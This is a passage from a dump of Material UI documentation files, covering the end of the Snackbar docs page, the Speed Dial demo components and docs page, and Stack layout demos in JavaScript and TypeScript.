`onClose` function after a set period of time (in milliseconds).\n\nMake sure to [provide sufficient time](https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits.html) for the user to process the information displayed on it.\n\n{{\"demo\": \"AutohideSnackbar.js\"}}\n\n### Transitions\n\nYou can use the `slots.transition` prop to change the transition of the Snackbar from [Grow](/material-ui/transitions/#grow) (the default) to others such as [Slide](/material-ui/transitions/#slide).\n\n{{\"demo\": \"TransitionsSnackbar.js\"}}\n\n## Customization\n\n### Preventing default click away event\n\nIf you would like to prevent the default onClickAway behavior, you can set the event's `defaultMuiPrevented` property to `true`:\n\n```jsx\n<Snackbar\n  slotProps={{\n    clickAwayListener: {\n      onClickAway: (event) => {\n        // Prevent's default 'onClickAway' behavior.\n        event.defaultMuiPrevented = true;\n      },\n    },\n  }}\n/>\n```\n\n### Use with Alerts\n\nUse an Alert inside a Snackbar for messages that communicate a certain severity.\n\n{{\"demo\": \"CustomizedSnackbars.js\"}}\n\n### Use with Floating Action Buttons\n\nIf you're using a [Floating Action Button](/material-ui/react-floating-action-button/) on mobile, Material Design recommends positioning snackbars directly above it, as shown in the demo below:\n\n{{\"demo\": \"FabIntegrationSnackbar.js\", \"iframe\": true, \"maxWidth\": 400}}\n\n## Common examples\n\n### Consecutive Snackbars\n\nThis demo shows how to display multiple Snackbars without stacking them by using a consecutive animation.\n\n{{\"demo\": \"ConsecutiveSnackbars.js\"}}\n\n## Supplementary components\n\n### notistack\n\n![stars](https://img.shields.io/github/stars/iamhosseindhv/notistack.svg?style=social&label=Star)\n![npm downloads](https://img.shields.io/npm/dm/notistack.svg)\n\nWith an imperative API, [notistack](https://github.com/iamhosseindhv/notistack) lets you vertically stack multiple Snackbars without having to handle their open and close states.\nEven though this is discouraged in the Material Design guidelines, it is still a common pattern.\n\n{{\"demo\": \"IntegrationNotistack.js\", \"defaultCodeOpen\": false}}\n\n:::warning\nNote that notistack prevents Snackbars from being [closed by pressing <kbd class=\"key\">Escape</kbd>](#accessibility).\n:::\n\n## Accessibility\n\nThe user should be able to dismiss Snackbars by pressing <kbd class=\"key\">Escape</kbd>. If there are multiple instances appearing at the same time and you want <kbd class=\"key\">Escape</kbd> to dismiss only the oldest one that's currently open, call `event.preventDefault` in the `onClose` prop.\n\n```jsx\nexport default function MyComponent() {\n  const [open, setOpen] = React.useState(true);\n\n  return (\n    <React.Fragment>\n      <Snackbar\n        open={open}\n        onClose={(event, reason) => {\n          // `reason === 'escapeKeyDown'` if `Escape` was pressed\n          setOpen(false);\n          // call `event.preventDefault` to only close one Snackbar at a time.\n        }}\n      />\n      <Snackbar open={open} onClose={() => setOpen(false)} />\n    </React.Fragment>\n  );\n}\n```\n\n## Anatomy\n\nThe Snackbar component is composed of a root `<div>` that houses interior elements like the Snackbar Content and other optional components (such as buttons or decorators).\n\n```html\n<div role=\"presentation\" class=\"MuiSnackbar-root\">\n  <div class=\"MuiPaper-root MuiSnackbarContent-root\" role=\"alert\">\n    <div class=\"MuiSnackbarContent-message\">\n      <!-- Snackbar content goes here -->\n    </div>\n  </div>\n</div>\n```\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/BasicSpeedDial.js",
    "content": "import Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function BasicSpeedDial() {\n  return (\n    <Box sx={{ height: 320, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <SpeedDial\n        ariaLabel=\"SpeedDial basic example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon />}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                title: action.name,\n              },\n            }}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/BasicSpeedDial.tsx",
    "content": "import Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function BasicSpeedDial() {\n  return (\n    <Box sx={{ height: 320, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <SpeedDial\n        ariaLabel=\"SpeedDial basic example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon />}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                title: action.name,\n              },\n            }}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/ControlledOpenSpeedDial.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function ControlledOpenSpeedDial() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <Box sx={{ height: 320, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <SpeedDial\n        ariaLabel=\"SpeedDial controlled open example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon />}\n        onClose={handleClose}\n        onOpen={handleOpen}\n        open={open}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                title: action.name,\n              },\n            }}\n            onClick={handleClose}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/ControlledOpenSpeedDial.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function ControlledOpenSpeedDial() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <Box sx={{ height: 320, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <SpeedDial\n        ariaLabel=\"SpeedDial controlled open example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon />}\n        onClose={handleClose}\n        onOpen={handleOpen}\n        open={open}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                title: action.name,\n              },\n            }}\n            onClick={handleClose}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/OpenIconSpeedDial.js",
    "content": "import Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\nimport EditIcon from '@mui/icons-material/Edit';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function OpenIconSpeedDial() {\n  return (\n    <Box sx={{ height: 320, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <SpeedDial\n        ariaLabel=\"SpeedDial openIcon example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon openIcon={<EditIcon />} />}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                title: action.name,\n              },\n            }}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/OpenIconSpeedDial.tsx",
    "content": "import Box from '@mui/material/Box';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\nimport EditIcon from '@mui/icons-material/Edit';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function OpenIconSpeedDial() {\n  return (\n    <Box sx={{ height: 320, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <SpeedDial\n        ariaLabel=\"SpeedDial openIcon example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon openIcon={<EditIcon />} />}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                title: action.name,\n              },\n            }}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/PlaygroundSpeedDial.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Switch from '@mui/material/Switch';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst StyledSpeedDial = styled(SpeedDial)(({ theme }) => ({\n  position: 'absolute',\n  '&.MuiSpeedDial-directionUp, &.MuiSpeedDial-directionLeft': {\n    bottom: theme.spacing(2),\n    right: theme.spacing(2),\n  },\n  '&.MuiSpeedDial-directionDown, &.MuiSpeedDial-directionRight': {\n    top: theme.spacing(2),\n    left: theme.spacing(2),\n  },\n}));\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function PlaygroundSpeedDial() {\n  const [direction, setDirection] = React.useState('up');\n  const [hidden, setHidden] = React.useState(false);\n\n  const handleDirectionChange = (event) => {\n    setDirection(event.target.value);\n  };\n\n  const handleHiddenChange = (event) => {\n    setHidden(event.target.checked);\n  };\n\n  return (\n    <Box sx={{ transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <FormControlLabel\n        control={\n          <Switch checked={hidden} onChange={handleHiddenChange} color=\"primary\" />\n        }\n        label=\"Hidden\"\n      />\n      <FormControl component=\"fieldset\" sx={{ mt: 1, display: 'flex' }}>\n        <FormLabel component=\"legend\">Direction</FormLabel>\n        <RadioGroup\n          aria-label=\"direction\"\n          name=\"direction\"\n          value={direction}\n          onChange={handleDirectionChange}\n          row\n        >\n          <FormControlLabel value=\"up\" control={<Radio />} label=\"Up\" />\n          <FormControlLabel value=\"right\" control={<Radio />} label=\"Right\" />\n          <FormControlLabel value=\"down\" control={<Radio />} label=\"Down\" />\n          <FormControlLabel value=\"left\" control={<Radio />} label=\"Left\" />\n        </RadioGroup>\n      </FormControl>\n      <Box sx={{ position: 'relative', mt: 3, height: 320 }}>\n        <StyledSpeedDial\n          ariaLabel=\"SpeedDial playground example\"\n          hidden={hidden}\n          icon={<SpeedDialIcon />}\n          direction={direction}\n        >\n          {actions.map((action) => (\n            <SpeedDialAction\n              key={action.name}\n              icon={action.icon}\n              slotProps={{\n                tooltip: {\n                  title: action.name,\n                },\n              }}\n            />\n          ))}\n        </StyledSpeedDial>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/PlaygroundSpeedDial.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport Radio from '@mui/material/Radio';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Switch from '@mui/material/Switch';\nimport SpeedDial, { SpeedDialProps } from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst StyledSpeedDial = styled(SpeedDial)(({ theme }) => ({\n  position: 'absolute',\n  '&.MuiSpeedDial-directionUp, &.MuiSpeedDial-directionLeft': {\n    bottom: theme.spacing(2),\n    right: theme.spacing(2),\n  },\n  '&.MuiSpeedDial-directionDown, &.MuiSpeedDial-directionRight': {\n    top: theme.spacing(2),\n    left: theme.spacing(2),\n  },\n}));\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function PlaygroundSpeedDial() {\n  const [direction, setDirection] =\n    React.useState<SpeedDialProps['direction']>('up');\n  const [hidden, setHidden] = React.useState(false);\n\n  const handleDirectionChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setDirection(\n      (event.target as HTMLInputElement).value as SpeedDialProps['direction'],\n    );\n  };\n\n  const handleHiddenChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setHidden(event.target.checked);\n  };\n\n  return (\n    <Box sx={{ transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <FormControlLabel\n        control={\n          <Switch checked={hidden} onChange={handleHiddenChange} color=\"primary\" />\n        }\n        label=\"Hidden\"\n      />\n      <FormControl component=\"fieldset\" sx={{ mt: 1, display: 'flex' }}>\n        <FormLabel component=\"legend\">Direction</FormLabel>\n        <RadioGroup\n          aria-label=\"direction\"\n          name=\"direction\"\n          value={direction}\n          onChange={handleDirectionChange}\n          row\n        >\n          <FormControlLabel value=\"up\" control={<Radio />} label=\"Up\" />\n          <FormControlLabel value=\"right\" control={<Radio />} label=\"Right\" />\n          <FormControlLabel value=\"down\" control={<Radio />} label=\"Down\" />\n          <FormControlLabel value=\"left\" control={<Radio />} label=\"Left\" />\n        </RadioGroup>\n      </FormControl>\n      <Box sx={{ position: 'relative', mt: 3, height: 320 }}>\n        <StyledSpeedDial\n          ariaLabel=\"SpeedDial playground example\"\n          hidden={hidden}\n          icon={<SpeedDialIcon />}\n          direction={direction}\n        >\n          {actions.map((action) => (\n            <SpeedDialAction\n              key={action.name}\n              icon={action.icon}\n              slotProps={{\n                tooltip: {\n                  title: action.name,\n                },\n              }}\n            />\n          ))}\n        </StyledSpeedDial>\n      </Box>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/SpeedDialTooltipOpen.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Backdrop from '@mui/material/Backdrop';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function SpeedDialTooltipOpen() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <Box sx={{ height: 330, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <Backdrop open={open} />\n      <SpeedDial\n        ariaLabel=\"SpeedDial tooltip example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon />}\n        onClose={handleClose}\n        onOpen={handleOpen}\n        open={open}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                open: true,\n                title: action.name,\n              },\n            }}\n            onClick={handleClose}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/SpeedDialTooltipOpen.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Backdrop from '@mui/material/Backdrop';\nimport SpeedDial from '@mui/material/SpeedDial';\nimport SpeedDialIcon from '@mui/material/SpeedDialIcon';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport FileCopyIcon from '@mui/icons-material/FileCopyOutlined';\nimport SaveIcon from '@mui/icons-material/Save';\nimport PrintIcon from '@mui/icons-material/Print';\nimport ShareIcon from '@mui/icons-material/Share';\n\nconst actions = [\n  { icon: <FileCopyIcon />, name: 'Copy' },\n  { icon: <SaveIcon />, name: 'Save' },\n  { icon: <PrintIcon />, name: 'Print' },\n  { icon: <ShareIcon />, name: 'Share' },\n];\n\nexport default function SpeedDialTooltipOpen() {\n  const [open, setOpen] = React.useState(false);\n  const handleOpen = () => setOpen(true);\n  const handleClose = () => setOpen(false);\n\n  return (\n    <Box sx={{ height: 330, transform: 'translateZ(0px)', flexGrow: 1 }}>\n      <Backdrop open={open} />\n      <SpeedDial\n        ariaLabel=\"SpeedDial tooltip example\"\n        sx={{ position: 'absolute', bottom: 16, right: 16 }}\n        icon={<SpeedDialIcon />}\n        onClose={handleClose}\n        onOpen={handleOpen}\n        open={open}\n      >\n        {actions.map((action) => (\n          <SpeedDialAction\n            key={action.name}\n            icon={action.icon}\n            slotProps={{\n              tooltip: {\n                open: true,\n                title: action.name,\n              },\n            }}\n            onClick={handleClose}\n          />\n        ))}\n      </SpeedDial>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/speed-dial/speed-dial.md",
    "content": "---\nproductId: material-ui\ntitle: React Speed Dial component\ncomponents: SpeedDial, SpeedDialAction, SpeedDialIcon\ngithubLabel: 'scope: speed dial'\nmaterialDesign: https://m2.material.io/components/buttons-floating-action-button#types-of-transitions\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/menu-button/\ngithubSource: packages/mui-material/src/SpeedDial\n---\n\n# Speed Dial\n\n<p class=\"description\">When pressed, a floating action button can display three to six related actions in the form of a Speed Dial.</p>\n\nIf more than six actions are needed, something other than a FAB should be used to present them.\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Basic speed dial\n\nThe floating action button can display related actions.\n\n{{\"demo\": \"BasicSpeedDial.js\"}}\n\n## Playground\n\n{{\"demo\": \"PlaygroundSpeedDial.js\"}}\n\n## Controlled speed dial\n\nThe open state of the component can be controlled with the `open`/`onOpen`/`onClose` props.\n\n{{\"demo\": \"ControlledOpenSpeedDial.js\"}}\n\n## Custom close icon\n\nYou can provide an alternate icon for the closed and open states using the `icon` and `openIcon` props\nof the `SpeedDialIcon` component.\n\n{{\"demo\": \"OpenIconSpeedDial.js\"}}\n\n## Persistent action tooltips\n\nThe SpeedDialActions tooltips can be displayed persistently so that users don't have to long-press to see the tooltip on touch devices.\n\nIt is enabled here across all devices for demo purposes, but in production it could use the `isTouch` logic to conditionally set the prop.\n\n{{\"demo\": \"SpeedDialTooltipOpen.js\"}}\n\n## Accessibility\n\n### ARIA\n\n#### Required\n\n- You should provide an `ariaLabel` for the speed dial component.\n- You should provide a tooltip title using `slotProps.tooltip.title` for each speed dial action.\n\n#### Provided\n\n- The Fab has `aria-haspopup`, `aria-expanded` and `aria-controls` attributes.\n- The speed dial actions container has `role=\"menu\"` and `aria-orientation` set according to the direction.\n- The speed dial actions have `role=\"menuitem\"`, and an `aria-describedby` attribute that references the associated tooltip.\n\n### Keyboard\n\n- The speed dial opens on focus.\n- The Space and Enter keys trigger the selected speed dial action, and toggle the speed dial open state.\n- The cursor keys move focus to the next or previous speed dial action. (Note that any cursor direction can be used initially to open the speed dial. This enables the expected behavior for the actual or perceived orientation of the speed dial, for example for a screen reader user who perceives the speed dial as a drop-down menu.)\n- The Escape key closes the speed dial and, if a speed dial action was focused, returns focus to the Fab.\n"
  },
  {
    "path": "docs/data/material/components/stack/BasicStack.js",
    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function BasicStack() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stack spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/BasicStack.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function BasicStack() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Stack spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/BasicStack.tsx.preview",
    "content": "<Stack spacing={2}>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/material/components/stack/DirectionStack.js",
    "content": "import Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function DirectionStack() {\n  return (\n    <div>\n      <Stack direction=\"row\" spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/DirectionStack.tsx",
    "content": "import Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function DirectionStack() {\n  return (\n    <div>\n      <Stack direction=\"row\" spacing={2}>\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/DirectionStack.tsx.preview",
    "content": "<Stack direction=\"row\" spacing={2}>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/material/components/stack/DividerStack.js",
    "content": "import Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function DividerStack() {\n  return (\n    <div>\n      <Stack\n        direction=\"row\"\n        divider={<Divider orientation=\"vertical\" flexItem />}\n        spacing={2}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/DividerStack.tsx",
    "content": "import Divider from '@mui/material/Divider';\nimport Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function DividerStack() {\n  return (\n    <div>\n      <Stack\n        direction=\"row\"\n        divider={<Divider orientation=\"vertical\" flexItem />}\n        spacing={2}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Item 3</Item>\n      </Stack>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/DividerStack.tsx.preview",
    "content": "<Stack\n  direction=\"row\"\n  divider={<Divider orientation=\"vertical\" flexItem />}\n  spacing={2}\n>\n  <Item>Item 1</Item>\n  <Item>Item 2</Item>\n  <Item>Item 3</Item>\n</Stack>"
  },
  {
    "path": "docs/data/material/components/stack/FlexboxGapStack.js",
    "content": "import Paper from '@mui/material/Paper';\nimport Stack from '@mui/material/Stack';\nimport Box from '@mui/material/Box';\nimport { styled } from '@mui/material/styles';\n\nconst Item = styled(Paper)(({ theme }) => ({\n  backgroundColor: '#fff',\n  ...theme.typography.body2,\n  padding: theme.spacing(1),\n  textAlign: 'center',\n  color: (theme.vars ?? theme).palette.text.secondary,\n  flexGrow: 1,\n  ...theme.applyStyles('dark', {\n    backgroundColor: '#1A2027',\n  }),\n}));\n\nexport default function FlexboxGapStack() {\n  return (\n    <Box sx={{ width: 200 }}>\n      <Stack\n        spacing={{ xs: 1, sm: 2 }}\n        direction=\"row\"\n        useFlexGap\n        sx={{ flexWrap: 'wrap' }}\n      >\n        <Item>Item 1</Item>\n        <Item>Item 2</Item>\n        <Item>Long content</Item>\n      </Stack>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/stack/FlexboxGapStack.tsx",
